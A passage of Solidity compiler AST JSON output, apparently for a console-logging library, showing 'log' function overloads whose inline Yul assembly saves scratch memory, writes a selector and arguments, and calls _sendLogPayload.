:"YulBlock","src":"188559:2:22","statements":[]},"src":"188555:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"188672:3:22","nodeType":"YulIdentifier","src":"188672:3:22"},{"name":"length","nativeSrc":"188677:6:22","nodeType":"YulIdentifier","src":"188677:6:22"}],"functionName":{"name":"mstore","nativeSrc":"188665:6:22","nodeType":"YulIdentifier","src":"188665:6:22"},"nativeSrc":"188665:19:22","nodeType":"YulFunctionCall","src":"188665:19:22"},"nativeSrc":"188665:19:22","nodeType":"YulExpressionStatement","src":"188665:19:22"},{"nativeSrc":"188701:37:22","nodeType":"YulVariableDeclaration","src":"188701:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"188718:3:22","nodeType":"YulLiteral","src":"188718:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"188727:1:22","nodeType":"YulLiteral","src":"188727:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"188730:6:22","nodeType":"YulIdentifier","src":"188730:6:22"}],"functionName":{"name":"shl","nativeSrc":"188723:3:22","nodeType":"YulIdentifier","src":"188723:3:22"},"nativeSrc":"188723:14:22","nodeType":"YulFunctionCall","src":"188723:14:22"}],"functionName":{"name":"sub","nativeSrc":"188714:3:22","nodeType":"YulIdentifier","src":"188714:3:22"},"nativeSrc":"188714:24:22","nodeType":"YulFunctionCall","src":"188714:24:22"},"variables":[{"name":"shift","nativeSrc":"188705:5:22","nodeType":"YulTypedName","src":"188705:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"188766:3:22","nodeType":"YulIdentifier","src":"188766:3:22"},{"kind":"number","nativeSrc":"188771:4:22","nodeType":"YulLiteral","src":"188771:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"188762:3:22","nodeType":"YulIdentifier","src":"188762:3:22"},"nativeSrc":"188762:14:22","nodeType":"YulFunctionCall","src":"188762:14:22"},{"arguments":[{"name":"shift","nativeSrc":"188782:5:22","nodeType":"YulIdentifier","src":"188782:5:22"},{"arguments":[{"name":"shift","nativeSrc":"188793:5:22","nodeType":"YulIdentifier","src":"188793:5:22"},{"name":"w","nativeSrc":"188800:1:22","nodeType":"YulIdentifier","src":"188800:1:22"}],"functionName":{"name":"shr","nativeSrc":"188789:3:22","nodeType":"YulIdentifier","src":"188789:3:22"},"nativeSrc":"188789:13:22","nodeType":"YulFunctionCall","src":"188789:13:22"}],"functionName":{"name":"shl","nativeSrc":"188778:3:22","nodeType":"YulIdentifier","src":"188778:3:22"},"nativeSrc":"188778:25:22","nodeType":"YulFunctionCall","src":"188778:25:22"}],"functionName":{"name":"mstore","nativeSrc":"188755:6:22","nodeType":"YulIdentifier","src":"188755:6:22"},"nativeSrc":"188755:49:22","nodeType":"YulFunctionCall","src":"188755:49:22"},"nativeSrc":"188755:49:22","nodeType":"YulExpressionStatement","src":"188755:49:22"}]},"name":"writeString","nativeSrc":"188476:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"188497:3:22","nodeType":"YulTypedName","src":"188497:3:22","type":""},{"name":"w","nativeSrc":"188502:1:22","nodeType":"YulTypedName","src":"188502:1:22","type":""}],"src":"188476:342:22"},{"nativeSrc":"188831:17:22","nodeType":"YulAssignment","src":"188831:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188843:4:22","nodeType":"YulLiteral","src":"188843:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"188837:5:22","nodeType":"YulIdentifier","src":"188837:5:22"},"nativeSrc":"188837:11:22","nodeType":"YulFunctionCall","src":"188837:11:22"},"variableNames":[{"name":"m0","nativeSrc":"188831:2:22","nodeType":"YulIdentifier","src":"188831:2:22"}]},{"nativeSrc":"188861:17:22","nodeType":"YulAssignment","src":"188861:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188873:4:22","nodeType":"YulLiteral","src":"188873:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"188867:5:22","nodeType":"YulIdentifier","src":"188867:5:22"},"nativeSrc":"188867:11:22","nodeType":"YulFunctionCall","src":"188867:11:22"},"variableNames":[{"name":"m1","nativeSrc":"188861:2:22","nodeType":"YulIdentifier","src":"188861:2:22"}]},{"nativeSrc":"188891:17:22","nodeType":"YulAssignment","src":"188891:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188903:4:22","nodeType":"YulLiteral","src":"188903:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"188897:5:22","nodeType":"YulIdentifier","src":"188897:5:22"},"nativeSrc":"188897:11:22","nodeType":"YulFunctionCall","src":"188897:11:22"},"variableNames":[{"name":"m2","nativeSrc":"188891:2:22","nodeType":"YulIdentifier","src":"188891:2:22"}]},{"nativeSrc":"188921:17:22","nodeType":"YulAssignment","src":"188921:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188933:4:22","nodeType":"YulLiteral","src":"188933:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"188927:5:22","nodeType":"YulIdentifier","src":"188927:5:22"},"nativeSrc":"188927:11:22","nodeType":"YulFunctionCall","src":"188927:11:22"},"variableNames":[{"name":"m3","nativeSrc":"188921:2:22","nodeType":"YulIdentifier","src":"188921:2:22"}]},{"nativeSrc":"188951:17:22","nodeType":"YulAssignment","src":"188951:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188963:4:22","nodeType":"YulLiteral","src":"188963:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"188957:5:22","nodeType":"YulIdentifier","src":"188957:5:22"},"nativeSrc":"188957:11:22","nodeType":"YulFunctionCall","src":"188957:11:22"},"variableNames":[{"name":"m4","nativeSrc":"188951:2:22","nodeType":"YulIdentifier","src":"188951:2:22"}]},{"nativeSrc":"188981:17:22","nodeType":"YulAssignment","src":"188981:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"188993:4:22","nodeType":"YulLiteral","src":"188993:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"188987:5:22","nodeType":"YulIdentifier","src":"188987:5:22"},"nativeSrc":"188987:11:22","nodeType":"YulFunctionCall","src":"188987:11:22"},"variableNames":[{"name":"m5","nativeSrc":"188981:2:22","nodeType":"YulIdentifier","src":"188981:2:22"}]},{"nativeSrc":"189011:17:22","nodeType":"YulAssignment","src":"189011:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"189023:4:22","nodeType":"YulLiteral","src":"189023:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"189017:5:22","nodeType":"YulIdentifier","src":"189017:5:22"},"nativeSrc":"189017:11:22","nodeType":"YulFunctionCall","src":"189017:11:22"},"variableNames":[{"name":"m6","nativeSrc":"189011:2:22","nodeType":"YulIdentifier","src":"189011:2:22"}]},{"nativeSrc":"189041:17:22","nodeType":"YulAssignment","src":"189041:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"189053:4:22","nodeType":"YulLiteral","src":"189053:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"189047:5:22","nodeType":"YulIdentifier","src":"189047:5:22"},"nativeSrc":"189047:11:22","nodeType":"YulFunctionCall","src":"189047:11:22"},"variableNames":[{"name":"m7","nativeSrc":"189041:2:22","nodeType":"YulIdentifier","src":"189041:2:22"}]},{"nativeSrc":"189071:18:22","nodeType":"YulAssignment","src":"189071:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"189083:5:22","nodeType":"YulLiteral","src":"189083:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"189077:5:22","nodeType":"YulIdentifier","src":"189077:5:22"},"nativeSrc":"189077:12:22","nodeType":"YulFunctionCall","src":"189077:12:22"},"variableNames":[{"name":"m8","nativeSrc":"189071:2:22","nodeType":"YulIdentifier","src":"189071:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189168:4:22","nodeType":"YulLiteral","src":"189168:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"189174:10:22","nodeType":"YulLiteral","src":"189174:10:22","type":"","value":"0x6d1e8751"}],"functionName":{"name":"mstore","nativeSrc":"189161:6:22","nodeType":"YulIdentifier","src":"189161:6:22"},"nativeSrc":"189161:24:22","nodeType":"YulFunctionCall","src":"189161:24:22"},"nativeSrc":"189161:24:22","nodeType":"YulExpressionStatement","src":"189161:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189205:4:22","nodeType":"YulLiteral","src":"189205:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"189211:2:22","nodeType":"YulIdentifier","src":"189211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189198:6:22","nodeType":"YulIdentifier","src":"189198:6:22"},"nativeSrc":"189198:16:22","nodeType":"YulFunctionCall","src":"189198:16:22"},"nativeSrc":"189198:16:22","nodeType":"YulExpressionStatement","src":"189198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189234:4:22","nodeType":"YulLiteral","src":"189234:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"189240:2:22","nodeType":"YulIdentifier","src":"189240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189227:6:22","nodeType":"YulIdentifier","src":"189227:6:22"},"nativeSrc":"189227:16:22","nodeType":"YulFunctionCall","src":"189227:16:22"},"nativeSrc":"189227:16:22","nodeType":"YulExpressionStatement","src":"189227:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189263:4:22","nodeType":"YulLiteral","src":"189263:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"189269:4:22","nodeType":"YulLiteral","src":"189269:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"189256:6:22","nodeType":"YulIdentifier","src":"189256:6:22"},"nativeSrc":"189256:18:22","nodeType":"YulFunctionCall","src":"189256:18:22"},"nativeSrc":"189256:18:22","nodeType":"YulExpressionStatement","src":"189256:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189294:4:22","nodeType":"YulLiteral","src":"189294:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"189300:4:22","nodeType":"YulLiteral","src":"189300:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"189287:6:22","nodeType":"YulIdentifier","src":"189287:6:22"},"nativeSrc":"189287:18:22","nodeType":"YulFunctionCall","src":"189287:18:22"},"nativeSrc":"189287:18:22","nodeType":"YulExpressionStatement","src":"189287:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189330:4:22","nodeType":"YulLiteral","src":"189330:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"189336:2:22","nodeType":"YulIdentifier","src":"189336:2:22"}],"functionName":{"name":"writeString","nativeSrc":"189318:11:22","nodeType":"YulIdentifier","src":"189318:11:22"},"nativeSrc":"189318:21:22","nodeType":"YulFunctionCall","src":"189318:21:22"},"nativeSrc":"189318:21:22","nodeType":"YulExpressionStatement","src":"189318:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189364:4:22","nodeType":"YulLiteral","src":"189364:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"189370:2:22","nodeType":"YulIdentifier","src":"189370:2:22"}],"functionName":{"name":"writeString","nativeSrc":"189352:11:22","nodeType":"YulIdentifier","src":"189352:11:22"},"nativeSrc":"189352:21:22","nodeType":"YulFunctionCall","src":"189352:21:22"},"nativeSrc":"189352:21:22","nodeType":"YulExpressionStatement","src":"189352:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39960,"isOffset":false,"isSlot":false,"src":"188831:2:22","valueSize":1},{"declaration":39963,"isOffset":false,"isSlot":false,"src":"188861:2:22","valueSize":1},{"declaration":39966,"isOffset":false,"isSlot":false,"src":"188891:2:22","valueSize":1},{"declaration":39969,"isOffset":false,"isSlot":false,"src":"188921:2:22","valueSize":1},{"declaration":39972,"isOffset":false,"isSlot":false,"src":"188951:2:22","valueSize":1},{"declaration":39975,"isOffset":false,"isSlot":false,"src":"188981:2:22","valueSize":1},{"declaration":39978,"isOffset":false,"isSlot":false,"src":"189011:2:22","valueSize":1},{"declaration":39981,"isOffset":false,"isSlot":false,"src":"189041:2:22","valueSize":1},{"declaration":39984,"isOffset":false,"isSlot":false,"src":"189071:2:22","valueSize":1},{"declaration":39950,"isOffset":false,"isSlot":false,"src":"189211:2:22","valueSize":1},{"declaration":39952,"isOffset":false,"isSlot":false,"src":"189240:2:22","valueSize":1},{"declaration":39954,"isOffset":false,"isSlot":false,"src":"189336:2:22","valueSize":1},{"declaration":39956,"isOffset":false,"isSlot":false,"src":"189370:2:22","valueSize":1}],"id":39986,"nodeType":"InlineAssembly","src":"188453:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39988,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"189408:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":39989,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"189414:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":39987,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"189392:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39990,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"189392:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39991,"nodeType":"ExpressionStatement","src":"189392:28:22"},{"AST":{"nativeSrc":"189439:273:22","nodeType":"YulBlock","src":"189439:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"189460:4:22","nodeType":"YulLiteral","src":"189460:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"189466:2:22","nodeType":"YulIdentifier","src":"189466:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189453:6:22","nodeType":"YulIdentifier","src":"189453:6:22"},"nativeSrc":"189453:16:22","nodeType":"YulFunctionCall","src":"189453:16:22"},"nativeSrc":"189453:16:22","nodeType":"YulExpressionStatement","src":"189453:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189489:4:22","nodeType":"YulLiteral","src":"189489:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"189495:2:22","nodeType":"YulIdentifier","src":"189495:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189482:6:22","nodeType":"YulIdentifier","src":"189482:6:22"},"nativeSrc":"189482:16:22","nodeType":"YulFunctionCall","src":"189482:16:22"},"nativeSrc":"189482:16:22","nodeType":"YulExpressionStatement","src":"189482:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189518:4:22","nodeType":"YulLiteral","src":"189518:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"189524:2:22","nodeType":"YulIdentifier","src":"189524:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189511:6:22","nodeType":"YulIdentifier","src":"189511:6:22"},"nativeSrc":"189511:16:22","nodeType":"YulFunctionCall","src":"189511:16:22"},"nativeSrc":"189511:16:22","nodeType":"YulExpressionStatement","src":"189511:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189547:4:22","nodeType":"YulLiteral","src":"189547:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"189553:2:22","nodeType":"YulIdentifier","src":"189553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189540:6:22","nodeType":"YulIdentifier","src":"189540:6:22"},"nativeSrc":"189540:16:22","nodeType":"YulFunctionCall","src":"189540:16:22"},"nativeSrc":"189540:16:22","nodeType":"YulExpressionStatement","src":"189540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189576:4:22","nodeType":"YulLiteral","src":"189576:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"189582:2:22","nodeType":"YulIdentifier","src":"189582:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189569:6:22","nodeType":"YulIdentifier","src":"189569:6:22"},"nativeSrc":"189569:16:22","nodeType":"YulFunctionCall","src":"189569:16:22"},"nativeSrc":"189569:16:22","nodeType":"YulExpressionStatement","src":"189569:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189605:4:22","nodeType":"YulLiteral","src":"189605:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"189611:2:22","nodeType":"YulIdentifier","src":"189611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189598:6:22","nodeType":"YulIdentifier","src":"189598:6:22"},"nativeSrc":"189598:16:22","nodeType":"YulFunctionCall","src":"189598:16:22"},"nativeSrc":"189598:16:22","nodeType":"YulExpressionStatement","src":"189598:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189634:4:22","nodeType":"YulLiteral","src":"189634:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"189640:2:22","nodeType":"YulIdentifier","src":"189640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189627:6:22","nodeType":"YulIdentifier","src":"189627:6:22"},"nativeSrc":"189627:16:22","nodeType":"YulFunctionCall","src":"189627:16:22"},"nativeSrc":"189627:16:22","nodeType":"YulExpressionStatement","src":"189627:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189663:4:22","nodeType":"YulLiteral","src":"189663:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"189669:2:22","nodeType":"YulIdentifier","src":"189669:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189656:6:22","nodeType":"YulIdentifier","src":"189656:6:22"},"nativeSrc":"189656:16:22","nodeType":"YulFunctionCall","src":"189656:16:22"},"nativeSrc":"189656:16:22","nodeType":"YulExpressionStatement","src":"189656:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"189692:5:22","nodeType":"YulLiteral","src":"189692:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"189699:2:22","nodeType":"YulIdentifier","src":"189699:2:22"}],"functionName":{"name":"mstore","nativeSrc":"189685:6:22","nodeType":"YulIdentifier","src":"189685:6:22"},"nativeSrc":"189685:17:22","nodeType":"YulFunctionCall","src":"189685:17:22"},"nativeSrc":"189685:17:22","nodeType":"YulExpressionStatement","src":"189685:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39960,"isOffset":false,"isSlot":false,"src":"189466:2:22","valueSize":1},{"declaration":39963,"isOffset":false,"isSlot":false,"src":"189495:2:22","valueSize":1},{"declaration":39966,"isOffset":false,"isSlot":false,"src":"189524:2:22","valueSize":1},{"declaration":39969,"isOffset":false,"isSlot":false,"src":"189553:2:22","valueSize":1},{"declaration":39972,"isOffset":false,"isSlot":false,"src":"189582:2:22","valueSize":1},{"declaration":39975,"isOffset":false,"isSlot":false,"src":"189611:2:22","valueSize":1},{"declaration":39978,"isOffset":false,"isSlot":false,"src":"189640:2:22","valueSize":1},{"declaration":39981,"isOffset":false,"isSlot":false,"src":"189669:2:22","valueSize":1},{"declaration":39984,"isOffset":false,"isSlot":false,"src":"189699:2:22","valueSize":1}],"id":39992,"nodeType":"InlineAssembly","src":"189430:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"188203:3:22","parameters":{"id":39957,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39950,"mutability":"mutable","name":"p0","nameLocation":"188212:2:22","nodeType":"VariableDeclaration","scope":39994,"src":"188207:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39949,"name":"bool","nodeType":"ElementaryTypeName","src":"188207:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39952,"mutability":"mutable","name":"p1","nameLocation":"188221:2:22","nodeType":"VariableDeclaration","scope":39994,"src":"188216:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39951,"name":"bool","nodeType":"ElementaryTypeName","src":"188216:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39954,"mutability":"mutable","name":"p2","nameLocation":"188233:2:22","nodeType":"VariableDeclaration","scope":39994,"src":"188225:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39953,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188225:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39956,"mutability":"mutable","name":"p3","nameLocation":"188245:2:22","nodeType":"VariableDeclaration","scope":39994,"src":"188237:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39955,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188237:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"188206:42:22"},"returnParameters":{"id":39958,"nodeType":"ParameterList","parameters":[],"src":"188263:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40028,"nodeType":"FunctionDefinition","src":"189724:786:22","nodes":[],"body":{"id":40027,"nodeType":"Block","src":"189796:714:22","nodes":[],"statements":[{"assignments":[40006],"declarations":[{"constant":false,"id":40006,"mutability":"mutable","name":"m0","nameLocation":"189814:2:22","nodeType":"VariableDeclaration","scope":40027,"src":"189806:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40005,"name":"bytes32","nodeType":"ElementaryTypeName","src":"189806:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40007,"nodeType":"VariableDeclarationStatement","src":"189806:10:22"},{"assignments":[40009],"declarations":[{"constant":false,"id":40009,"mutability":"mutable","name":"m1","nameLocation":"189834:2:22","nodeType":"VariableDeclaration","scope":40027,"src":"189826:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40008,"name":"bytes32","nodeType":"ElementaryTypeName","src":"189826:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40010,"nodeType":"VariableDeclarationStatement","src":"189826:10:22"},{"assignments":[40012],"declarations":[{"constant":false,"id":40012,"mutability":"mutable","name":"m2","nameLocation":"189854:2:22","nodeType":"VariableDeclaration","scope":40027,"src":"189846:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40011,"name":"bytes32","nodeType":"ElementaryTypeName","src":"189846:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40013,"nodeType":"VariableDeclarationStatement","src":"189846:10:22"},{"assignments":[40015],"declarations":[{"constant":false,"id":40015,"mutability":"mutable","name":"m3","nameLocation":"189874:2:22","nodeType":"VariableDeclaration","scope":40027,"src":"189866:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40014,"name":"bytes32","nodeType":"ElementaryTypeName","src":"189866:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40016,"nodeType":"VariableDeclarationStatement","src":"189866:10:22"},{"assignments":[40018],"declarations":[{"constant":false,"id":40018,"mutability":"mutable","name":"m4","nameLocation":"189894:2:22","nodeType":"VariableDeclaration","scope":40027,"src":"189886:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40017,"name":"bytes32","nodeType":"ElementaryTypeName","src":"189886:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40019,"nodeType":"VariableDeclarationStatement","src":"189886:10:22"},{"AST":{"nativeSrc":"189915:378:22","nodeType":"YulBlock","src":"189915:378:22","statements":[{"nativeSrc":"189929:17:22","nodeType":"YulAssignment","src":"189929:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"189941:4:22","nodeType":"YulLiteral","src":"189941:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"189935:5:22","nodeType":"YulIdentifier","src":"189935:5:22"},"nativeSrc":"189935:11:22","nodeType":"YulFunctionCall","src":"189935:11:22"},"variableNames":[{"name":"m0","nativeSrc":"189929:2:22","nodeType":"YulIdentifier","src":"189929:2:22"}]},{"nativeSrc":"189959:17:22","nodeType":"YulAssignment","src":"189959:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"189971:4:22","nodeType":"YulLiteral","src":"189971:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"189965:5:22","nodeType":"YulIdentifier","src":"189965:5:22"},"nativeSrc":"189965:11:22","nodeType":"YulFunctionCall","src":"189965:11:22"},"variableNames":[{"name":"m1","nativeSrc":"189959:2:22","nodeType":"YulIdentifier","src":"189959:2:22"}]},{"nativeSrc":"189989:17:22","nodeType":"YulAssignment","src":"189989:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190001:4:22","nodeType":"YulLiteral","src":"190001:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"189995:5:22","nodeType":"YulIdentifier","src":"189995:5:22"},"nativeSrc":"189995:11:22","nodeType":"YulFunctionCall","src":"189995:11:22"},"variableNames":[{"name":"m2","nativeSrc":"189989:2:22","nodeType":"YulIdentifier","src":"189989:2:22"}]},{"nativeSrc":"190019:17:22","nodeType":"YulAssignment","src":"190019:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190031:4:22","nodeType":"YulLiteral","src":"190031:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"190025:5:22","nodeType":"YulIdentifier","src":"190025:5:22"},"nativeSrc":"190025:11:22","nodeType":"YulFunctionCall","src":"190025:11:22"},"variableNames":[{"name":"m3","nativeSrc":"190019:2:22","nodeType":"YulIdentifier","src":"190019:2:22"}]},{"nativeSrc":"190049:17:22","nodeType":"YulAssignment","src":"190049:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190061:4:22","nodeType":"YulLiteral","src":"190061:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"190055:5:22","nodeType":"YulIdentifier","src":"190055:5:22"},"nativeSrc":"190055:11:22","nodeType":"YulFunctionCall","src":"190055:11:22"},"variableNames":[{"name":"m4","nativeSrc":"190049:2:22","nodeType":"YulIdentifier","src":"190049:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190150:4:22","nodeType":"YulLiteral","src":"190150:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"190156:10:22","nodeType":"YulLiteral","src":"190156:10:22","type":"","value":"0x26f560a8"}],"functionName":{"name":"mstore","nativeSrc":"190143:6:22","nodeType":"YulIdentifier","src":"190143:6:22"},"nativeSrc":"190143:24:22","nodeType":"YulFunctionCall","src":"190143:24:22"},"nativeSrc":"190143:24:22","nodeType":"YulExpressionStatement","src":"190143:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190187:4:22","nodeType":"YulLiteral","src":"190187:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"190193:2:22","nodeType":"YulIdentifier","src":"190193:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190180:6:22","nodeType":"YulIdentifier","src":"190180:6:22"},"nativeSrc":"190180:16:22","nodeType":"YulFunctionCall","src":"190180:16:22"},"nativeSrc":"190180:16:22","nodeType":"YulExpressionStatement","src":"190180:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190216:4:22","nodeType":"YulLiteral","src":"190216:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"190222:2:22","nodeType":"YulIdentifier","src":"190222:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190209:6:22","nodeType":"YulIdentifier","src":"190209:6:22"},"nativeSrc":"190209:16:22","nodeType":"YulFunctionCall","src":"190209:16:22"},"nativeSrc":"190209:16:22","nodeType":"YulExpressionStatement","src":"190209:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190245:4:22","nodeType":"YulLiteral","src":"190245:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"190251:2:22","nodeType":"YulIdentifier","src":"190251:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190238:6:22","nodeType":"YulIdentifier","src":"190238:6:22"},"nativeSrc":"190238:16:22","nodeType":"YulFunctionCall","src":"190238:16:22"},"nativeSrc":"190238:16:22","nodeType":"YulExpressionStatement","src":"190238:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190274:4:22","nodeType":"YulLiteral","src":"190274:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"190280:2:22","nodeType":"YulIdentifier","src":"190280:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190267:6:22","nodeType":"YulIdentifier","src":"190267:6:22"},"nativeSrc":"190267:16:22","nodeType":"YulFu